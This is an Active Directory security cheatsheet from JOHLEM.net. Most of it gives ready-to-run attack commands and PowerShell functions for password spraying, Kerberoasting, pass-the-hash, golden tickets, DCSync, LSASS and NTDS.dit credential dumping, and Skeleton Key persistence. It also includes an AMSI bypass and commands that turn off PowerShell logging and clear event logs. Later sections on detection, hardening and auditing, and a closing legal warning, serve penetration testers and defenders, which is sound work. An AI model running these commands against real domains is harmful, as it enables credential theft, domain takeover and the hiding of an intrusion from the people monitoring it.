=============================================================================== ACTIVE DIRECTORY SECURITY CHEATSHEET JOHLEM.net IT SECURITY CHEATSHEETS =============================================================================== --- ACTIVE DIRECTORY OVERVIEW --- Active Directory (AD) is Microsoft's directory service that provides authentication, authorization, and directory services for Windows domain networks. It's a critical component in enterprise environments and a primary target for attackers due to its central role in network security and the valuable data it contains. Default Ports: 389 (LDAP), 636 (LDAPS), 88 (Kerberos), 53 (DNS), 135 (RPC) Additional Ports: 445 (SMB), 139 (NetBIOS), 3268/3269 (Global Catalog) Components: Domain Controllers, DNS, LDAP, Kerberos, Group Policy Risk Level: CRITICAL - Central authentication and authorization system --- RECONNAISSANCE --- ## Network Discovery nmap -p 53,88,135,139,389,445,636,3268,3269 target.com nmap -sU -p 53,88,123,137,138 target.com # UDP services masscan -p53,88,389,445 192.168.1.0/24 --rate=1000 ## Domain Controller Discovery nslookup -type=SRV _ldap._tcp.domain.com nslookup -type=SRV _kerberos._tcp.domain.com nslookup -type=SRV _gc._tcp.domain.com dig SRV _ldap._tcp.domain.com ## DNS Enumeration dig axfr domain.com @dc.domain.com # Zone transfer attempt dnsrecon -d domain.com # DNS reconnaissance fierce -dns domain.com # Subdomain enumeration dnsenum domain.com # DNS enumeration ## NetBIOS Discovery nbtscan 192.168.1.0/24 # NetBIOS scanner enum4linux target.com # SMB/NetBIOS enumeration smbclient -L //target.com -N # Share enumeration --- DOMAIN ENUMERATION --- ## LDAP Enumeration ldapsearch -x -h target.com -s base namingcontexts ldapsearch -x -h target.com -b "DC=domain,DC=com" ldapsearch -x -h target.com -b "DC=domain,DC=com" "(objectClass=user)" ldapsearch -x -h target.com -b "DC=domain,DC=com" "(objectClass=group)" ## Anonymous LDAP Queries ldapsearch -x -h target.com -b "" -s base "(objectclass=*)" ldapsearch -x -h target.com -b "DC=domain,DC=com" "(objectClass=*)" sAMAccountName ## RPC Enumeration rpcclient -U "" target.com # Null session rpcclient -U "guest" target.com # Guest access rpcinfo -p target.com # RPC services --- USER ENUMERATION --- ## LDAP User Discovery ldapsearch -x -h target.com -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName ldapsearch -x -h target.com -b "DC=domain,DC=com" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" ## RPC User Enumeration rpcclient -U "" target.com -c "enumdomusers" rpcclient -U "" target.com -c "queryuser 0x1f4" rpcclient -U "" target.com -c "enumdomgroups" ## SMB User Enumeration enum4linux -u target.com # User enumeration enum4linux -U target.com # Detailed users crackmapexec smb target.com --users # CrackMapExec users ## Kerberos User Enumeration kerbrute userenum --dc target.com -d domain.com users.txt nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.com' target.com --- GROUP ENUMERATION --- ## Domain Groups Discovery ldapsearch -x -h target.com -b "DC=domain,DC=com" "(objectClass=group)" cn rpcclient -U "" target.com -c "enumdomgroups" net group /domain # From domain-joined machine ## Privileged Groups ldapsearch -x -h target.com -b "DC=domain,DC=com" "(cn=Domain Admins)" member ldapsearch -x -h target.com -b "DC=domain,DC=com" "(cn=Enterprise Admins)" member ldapsearch -x -h target.com -b "DC=domain,DC=com" "(cn=Schema Admins)" member ldapsearch -x -h target.com -b "DC=domain,DC=com" "(cn=Administrators)" member ## Group Membership rpcclient -U "" target.com -c "querygroupmem 0x200" net user username /domain # User's group membership net group "Domain Admins" /domain # Group members --- POWERSHELL AD ENUMERATION --- ## Basic Domain Information function Get-DomainInfo { try { $domain = Get-ADDomain -ErrorAction Stop [PSCustomObject]@{ Name = $domain.Name NetBIOSName = $domain.NetBIOSName DomainSID = $domain.DomainSID Forest = $domain.Forest DomainControllers = (Get-ADDomainController -Filter *).Name FunctionalLevel = $domain.DomainMode } } catch { Write-Error "Could not retrieve domain information: $($_.Exception.Message)" } } ## User Enumeration function Get-DomainUsers { param( [string]$Filter = "*", [switch]$IncludeDisabled ) $properties = @('SamAccountName', 'DisplayName', 'Enabled', 'LastLogonDate', 'PasswordLastSet', 'MemberOf') if ($IncludeDisabled) { Get-ADUser -Filter $Filter -Properties $properties } else { Get-ADUser -Filter "$Filter -and Enabled -eq `$true" -Properties $properties } } ## Privileged Users Discovery function Get-PrivilegedUsers { $privilegedGroups = @( "Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators", "Account Operators", "Server Operators", "Backup Operators" ) $privilegedUsers = @() foreach ($group in $privilegedGroups) { try { $members = Get-ADGroupMember -Identity $group -Recursive -ErrorAction SilentlyContinue foreach ($member in $members) { if ($member.objectClass -eq "user") { $privilegedUsers += [PSCustomObject]@{ Username = $member.SamAccountName Group = $group DistinguishedName = $member.DistinguishedName } } } } catch { Write-Warning "Could not enumerate group: $group" } } return $privilegedUsers | Sort-Object Username -Unique } ## Computer Enumeration function Get-DomainComputers { param([string]$OperatingSystem = "*") $properties = @('Name', 'OperatingSystem', 'OperatingSystemVersion', 'LastLogonDate', 'Enabled') Get-ADComputer -Filter "OperatingSystem -like '$OperatingSystem'" -Properties $properties } ## Service Principal Names (SPNs) function Get-DomainSPNs { Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object SamAccountName, ServicePrincipalName } --- AUTHENTICATION ATTACKS --- ## Password Spraying # CrackMapExec crackmapexec smb targets.txt -u users.txt -p 'Password123' crackmapexec smb targets.txt -u users.txt -p passwords.txt --continue-on-success # Kerbrute kerbrute passwordspray --dc target.com -d domain.com users.txt 'Password123' # PowerShell function Invoke-PasswordSpray { param( [string[]]$UserList, [string]$Password, [string]$Domain ) foreach ($user in $UserList) { try { $credential = New-Object System.Management.Automation.PSCredential("$Domain\$user", (ConvertTo-SecureString $Password -AsPlainText -Force)) $null = Get-ADUser -Identity $user -Credential $credential -ErrorAction Stop Write-Host "SUCCESS: $user : $Password" -ForegroundColor Green } catch { Write-Host "FAILED: $user : $Password" -ForegroundColor Red } } } ## Kerberoasting # Impacket GetUserSPNs.py domain.com/user:password -dc-ip dc_ip -request GetUserSPNs.py domain.com/user:password -dc-ip dc_ip -request -outputfile kerberoast.txt # PowerShell function Invoke-Kerberoast { $spnUsers = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName foreach ($user in $spnUsers) { foreach ($spn in $user.ServicePrincipalName) { try { $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn Write-Host "Requested ticket for: $spn ($($user.SamAccountName))" -ForegroundColor Green } catch { Write-Warning "Failed to request ticket for: $spn" } } } # Extract tickets from memory (requires additional tools) Write-Host "Use Mimikatz or similar to extract tickets from memory" -ForegroundColor Yellow } ## ASREPRoasting # Impacket GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep.txt GetNPUsers.py domain.com/user:password -dc-ip dc_ip -request # PowerShell function Get-ASREPUsers { Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object SamAccountName, DistinguishedName } --- LATERAL MOVEMENT --- ## Pass-the-Hash # CrackMapExec crackmapexec smb targets.txt -u username -H ntlm_hash crackmapexec smb targets.txt -u username -H ntlm_hash --local-auth # Impacket psexec.py domain.com/user@target -hashes lm_hash:ntlm_hash wmiexec.py domain.com/user@target -hashes lm_hash:ntlm_hash smbexec.py domain.com/user@target -hashes lm_hash:ntlm_hash ## Pass-the-Ticket # Impacket getTGT.py domain.com/user:password export KRB5CCNAME=user.ccache psexec.py domain.com/user@target -k -no-pass # Mimikatz sekurlsa::tickets /export kerberos::ptt ticket.kirbi ## Golden Ticket # Mimikatz kerberos::golden /user:administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:ntlm_hash /id:500 # Impacket ticketer.py -nthash krbtgt_hash -domain-sid domain_sid -domain domain.com administrator ## Silver Ticket # Mimikatz kerberos::golden /user:administrator /domain:domain.com /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:service_hash # Impacket ticketer.py -nthash service_hash -domain-sid domain_sid -domain domain.com -spn cifs/target.domain.com administrator --- PRIVILEGE ESCALATION --- ## DCSync Attack # Mimikatz lsadump::dcsync /domain:domain.com /user:administrator lsadump::dcsync /domain:domain.com /user:krbtgt # Impacket secretsdump.py domain.com/user:password@dc_ip -just-dc-user administrator secretsdump.py domain.com/user:password@dc_ip -just-dc-ntlm ## AdminSDHolder Abuse function Get-AdminSDHolderUsers { Get-ADUser -LDAPFilter "(adminCount=1)" | Select-Object SamAccountName, DistinguishedName } ## Group Policy Abuse # Check for vulnerable GPOs Get-GPO -All | ForEach-Object { $gpo = $_ $permissions = Get-GPPermissions -Guid $gpo.Id -All $permissions | Where-Object {$_.Permission -match "GpoEdit|GpoEditDeleteModifySecurity"} } ## Constrained Delegation # PowerView Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth # LDAP query ldapsearch -x -h target.com -b "DC=domain,DC=com" "(&(objectClass=user)(msDS-AllowedToDelegateTo=*))" --- PERSISTENCE TECHNIQUES --- ## Skeleton Key # Mimikatz misc::skeleton ## AdminSDHolder Persistence # Add user to AdminSDHolder ACL $user = Get-ADUser username $adminSDHolder = Get-ADObject "CN=AdminSDHolder,CN=System,DC=domain,DC=com" # Modify ACL (requires Domain Admin privileges) ## Golden Certificate # Impacket-based python certipy.py req -u 'user@domain.com' -p 'password' -ca 'ca-server' -template 'User' ## WMI Event Subscriptions # Create permanent WMI event $FilterArgs = @{name='Evil Filter'; EventNameSpace='root\cimv2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"} $Filter = New-CimInstance -Namespace root\subscription -ClassName __EventFilter -Property $FilterArgs --- DOMAIN TRUST EXPLOITATION --- ## Trust Enumeration # PowerShell Get-ADTrust -Filter * nltest /domain_trusts # PowerView Get-DomainTrust Get-ForestTrust ## SID History Abuse # Check for SID History Get-ADUser -Filter {SIDHistory -like "*"} -Properties SIDHistory ## Inter-Forest Attacks # Cross-forest authentication runas /netonly /user:domain\user cmd.exe --- BLOODHOUND ANALYSIS --- ## Data Collection # SharpHound .\SharpHound.exe -c All .\SharpHound.exe -c Session,Trusts,ACL # BloodHound.py bloodhound-python -d domain.com -u user -p password -gc dc.domain.com -c all ## Useful BloodHound Queries # Find shortest path to Domain Admins MATCH (u:User),(g:Group {name:"DOMAIN ADMINS@DOMAIN.COM"}), p=shortestPath((u)-[*1..]->(g)) RETURN p # Find Kerberoastable users MATCH (u:User {hasspn:true}) RETURN u # Find ASREPRoastable users MATCH (u:User {dontreqpreauth:true}) RETURN u # Find computers with unconstrained delegation MATCH (c:Computer {unconstraineddelegation:true}) RETURN c # Find users with DCSync rights MATCH (u:User)-[:GenericAll|WriteDacl|WriteOwner]->(d:Domain) RETURN u --- CREDENTIAL DUMPING --- ## LSASS Dumping # Mimikatz privilege::debug sekurlsa::logonpasswords sekurlsa::tickets # ProcDump procdump.exe -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" ## NTDS.dit Extraction # Volume Shadow Copy vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\ # Impacket secretsdump.py -ntds ntds.dit -system system.hive LOCAL ## DCSync # Mimikatz lsadump::dcsync /domain:domain.com /all /csv # Impacket secretsdump.py domain.com/user:password@dc_ip -just-dc --- POWERSHELL AD ATTACKS --- ## PowerView Equivalent Functions function Get-DomainUser { param([string]$Identity = "*") Get-ADUser -Filter "SamAccountName -like '$Identity'" -Properties * } function Get-DomainGroup { param([string]$Identity = "*") Get-ADGroup -Filter "Name -like '$Identity'" -Properties * } function Get-DomainComputer { param([string]$Identity = "*") Get-ADComputer -Filter "Name -like '$Identity'" -Properties * } function Get-DomainGPO { Get-GPO -All } function Find-DomainUserLocation { param([string]$UserName) $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name foreach ($computer in $computers) { try { $sessions = quser /server:$computer 2>$null if ($sessions -match $UserName) { Write-Host "$UserName found on $computer" -ForegroundColor Green } } catch {} } } ## AD Module Attacks function Invoke-ADPasswordSpray { param( [string[]]$Users, [string]$Password ) foreach ($user in $Users) { try { $cred = New-Object System.Management.Automation.PSCredential($user, (ConvertTo-SecureString $Password -AsPlainText -Force)) Get-ADUser -Identity $user -Credential $cred -ErrorAction Stop Write-Host "SUCCESS: $user : $Password" -ForegroundColor Green } catch { Write-Host "FAILED: $user : $Password" -ForegroundColor Red } } } --- DEFENSIVE EVASION --- ## AMSI Bypass [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ## Logging Evasion # Disable PowerShell logging Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 0 # Clear event logs wevtutil cl "Windows PowerShell" wevtutil cl "Microsoft-Windows-PowerShell/Operational" ## Constrained Language Mode Bypass # PowerShell downgrade powershell.exe -version 2 # .NET reflection $ExecutionContext.SessionState.LanguageMode = "FullLanguage" --- INCIDENT RESPONSE --- ## Attack Detection # Monitor for DCSync Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4662} | Where-Object {$_.Message -match "1131f6a[a-d]-9c07-11d1-f79f-00c04fc2dcd2"} # Detect Kerberoasting Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} | Where-Object {$_.Properties[8].Value -eq "0x17" -and $_.Properties[9].Value -ne "0x0"} # Monitor admin group changes Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4728,4729,4732,4733} # Detect Golden Ticket usage Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object {$_.Properties[10].Value -eq "10" -and $_.Properties[11].Value -eq "0"} ## Forensic Analysis function Get-ADForensics { param([int]$Days = 7) $since = (Get-Date).AddDays(-$Days) # Recent user modifications Get-ADUser -Filter {Modified -gt $since} -Properties Modified | Select-Object SamAccountName, Modified # Recent group modifications Get-ADGroup -Filter {Modified -gt $since} -Properties Modified | Select-Object Name, Modified # Recent computer additions Get-ADComputer -Filter {Created -gt $since} -Properties Created | Select-Object Name, Created } --- MITIGATION STRATEGIES --- ## Security Hardening # Enable advanced auditing auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable # Configure Protected Users group Add-ADGroupMember -Identity "Protected Users" -Members username # Implement LAPS Import-Module AdmPwd.PS Update-AdmPwdADSchema Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=domain,DC=com" ## Kerberos Hardening # Disable RC4 encryption New-GPO -Name "Disable RC4" Set-GPRegistryValue -Name "Disable RC4" -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -ValueName "SupportedEncryptionTypes" -Value 24 # Enable AES encryption Set-ADUser -Identity username -KerberosEncryptionType AES128,AES256 ## Privileged Access Management # Just-in-Time access Enable-ADOptionalFeature -Identity "Privileged Access Management Feature" -Scope ForestOrConfigurationSet -Target domain.com # Administrative tiers # Implement Tier 0, Tier 1, Tier 2 model # Separate administrative accounts --- AUTOMATED TOOLS --- ## PowerShell AD Assessment function Invoke-ADSecurityAssessment { $results = @{ Domain = Get-ADDomain Users = @() Groups = @() Computers = @() Vulnerabilities = @() } # Check for weak passwords $users = Get-ADUser -Filter * -Properties PasswordLastSet, PasswordNeverExpires foreach ($user in $users) { if ($user.PasswordNeverExpires -or $user.PasswordLastSet -lt (Get-Date).AddDays(-90)) { $results.Vulnerabilities += "Weak password policy: $($user.SamAccountName)" } } # Check for service accounts with SPNs $spnUsers = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName foreach ($user in $spnUsers) { $results.Vulnerabilities += "Kerberoastable user: $($user.SamAccountName)" } # Check for unconstrained delegation $unconstrainedComputers = Get-ADComputer -Filter {TrustedForDelegation -eq $true} foreach ($computer in $unconstrainedComputers) { $results.Vulnerabilities += "Unconstrained delegation: $($computer.Name)" } return $results } ## Bash AD Enumeration #!/bin/bash # ad_enum.sh DOMAIN="$1" DC_IP="$2" OUTPUT="ad_enum_$(date +%Y%m%d_%H%M%S).txt" echo "Active Directory Enumeration for $DOMAIN" | tee "$OUTPUT" echo "=========================================" | tee -a "$OUTPUT" # DNS enumeration echo -e "\n[+] DNS Enumeration:" | tee -a "$OUTPUT" dig SRV _ldap._tcp.$DOMAIN @$DC_IP >> "$OUTPUT" dig SRV _kerberos._tcp.$DOMAIN @$DC_IP >> "$OUTPUT" # LDAP enumeration echo -e "\n[+] LDAP Enumeration:" | tee -a "$OUTPUT" ldapsearch -x -h $DC_IP -b "DC=${DOMAIN/./,DC=}" "(objectClass=user)" sAMAccountName >> "$OUTPUT" 2>&1 # RPC enumeration echo -e "\n[+] RPC Enumeration:" | tee -a "$OUTPUT" rpcclient -U "" $DC_IP -c "enumdomusers" >> "$OUTPUT" 2>&1 # SMB enumeration echo -e "\n[+] SMB Enumeration:" | tee -a "$OUTPUT" enum4linux $DC_IP >> "$OUTPUT" 2>&1 echo "Enumeration complete. Results saved to $OUTPUT" --- COMPLIANCE AND AUDITING --- ## Security Baseline Check function Test-ADSecurityBaseline { $baseline = @{ PasswordComplexity = $false AccountLockout = $false AuditingEnabled = $false AdminGroupsSecure = $false KerberosSecure = $false } # Check password policy $passwordPolicy = Get-ADDefaultDomainPasswordPolicy if ($passwordPolicy.ComplexityEnabled -and $passwordPolicy.MinPasswordLength -ge 8) { $baseline.PasswordComplexity = $true } # Check account lockout policy if ($passwordPolicy.LockoutThreshold -gt 0) { $baseline.AccountLockout = $true } # Check for admin group changes auditing $auditPolicy = auditpol /get /subcategory:"Security Group Management" if ($auditPolicy -match "Success and Failure") { $baseline.AuditingEnabled = $true } return $baseline } ## Privileged Access Review function Get-PrivilegedAccessReport { $privilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins") $report = @() foreach ($group in $privilegedGroups) { $members = Get-ADGroupMember -Identity $group -Recursive foreach ($member in $members) { if ($member.objectClass -eq "user") { $user = Get-ADUser -Identity $member.SamAccountName -Properties LastLogonDate, PasswordLastSet $report += [PSCustomObject]@{ Group = $group User = $member.SamAccountName LastLogon = $user.LastLogonDate PasswordAge = (Get-Date) - $user.PasswordLastSet } } } } return $report } --- BACKUP AND RECOVERY --- ## AD Backup # System State backup wbadmin start systemstatebackup -backuptarget:E: -quiet # NTDS.dit backup ntdsutil "ac i ntds" "ifm" "create full C:\ADBackup" q q ## Forest Recovery # Authoritative restore ntdsutil "ac i ntds" "authoritative restore" "restore subtree CN=Users,DC=domain,DC=com" q q # Non-authoritative restore wbadmin start systemstaterecovery -version:VersionIdentifier -quiet --- USEFUL FUNCTIONS --- ## AD Health Check function Test-ADHealth { $healthCheck = @{ ReplicationStatus = $true DCResponsive = $true SYSVOLHealth = $true DNSResolution = $true KerberosAuth = $true } # Test replication try { $replSummary = repadmin /replsummary if ($replSummary -match "error") { $healthCheck.ReplicationStatus = $false } } catch { $healthCheck.ReplicationStatus = $false } # Test DC responsiveness $dcs = Get-ADDomainController -Filter * foreach ($dc in $dcs) { if (!(Test-NetConnection $dc.Name -Port 389 -InformationLevel Quiet)) { $healthCheck.DCResponsive = $false } } return $healthCheck } ## Password Policy Analysis function Get-PasswordPolicyAnalysis { $policy = Get-ADDefaultDomainPasswordPolicy $analysis = @{ Policy = $policy Recommendations = @() } if ($policy.MinPasswordLength -lt 12) { $analysis.Recommendations += "Increase minimum password length to 12+ characters" } if (!$policy.ComplexityEnabled) { $analysis.Recommendations += "Enable password complexity requirements" } if ($policy.MaxPasswordAge.Days -gt 90) { $analysis.Recommendations += "Reduce maximum password age to 90 days or less" } if ($policy.LockoutThreshold -eq 0) { $analysis.Recommendations += "Enable account lockout after failed attempts" } return $analysis } ## Stale Object Cleanup function Find-StaleObjects { param([int]$DaysInactive = 90) $cutoffDate = (Get-Date).AddDays(-$DaysInactive) $staleUsers = Get-ADUser -Filter {LastLogonDate -lt $cutoffDate -and Enabled -eq $true} -Properties LastLogonDate $staleComputers = Get-ADComputer -Filter {LastLogonDate -lt $cutoffDate -and Enabled -eq $true} -Properties LastLogonDate return @{ Users = $staleUsers Computers = $staleComputers } } --- LEGAL CONSIDERATIONS --- ⚠️ WARNING: Active Directory security testing should only be performed: - On domains you own or have explicit authorization to test - During authorized penetration testing engagements - For legitimate security research purposes - In controlled lab environments - With proper change management approval Unauthorized AD attacks may violate: - Computer Fraud and Abuse Act (CFAA) in the US - Unauthorized access and computer misuse laws - Corporate security policies and agreements - Data protection regulations (GDPR, HIPAA, SOX) - Various national cybercrime legislation - Employment agreements and NDAs Always obtain proper written authorization before testing! =============================================================================== Pro Tips: - Always start with anonymous LDAP queries - Use BloodHound for visualizing attack paths - Focus on service accounts with SPNs (Kerberoasting targets) - Look for users with "Do not require Kerberos preauthentication" (ASREPRoasting) - Monitor for DCSync attempts and Golden Ticket usage - Implement proper admin tier separation (Tier 0, 1, 2) - Use PowerShell constrained language mode to limit attacks - Regular AD health checks and security assessments - Deploy LAPS for local admin password management - Enable advanced audit policies for security monitoring More resources: JOHLEM.net ===============================================================================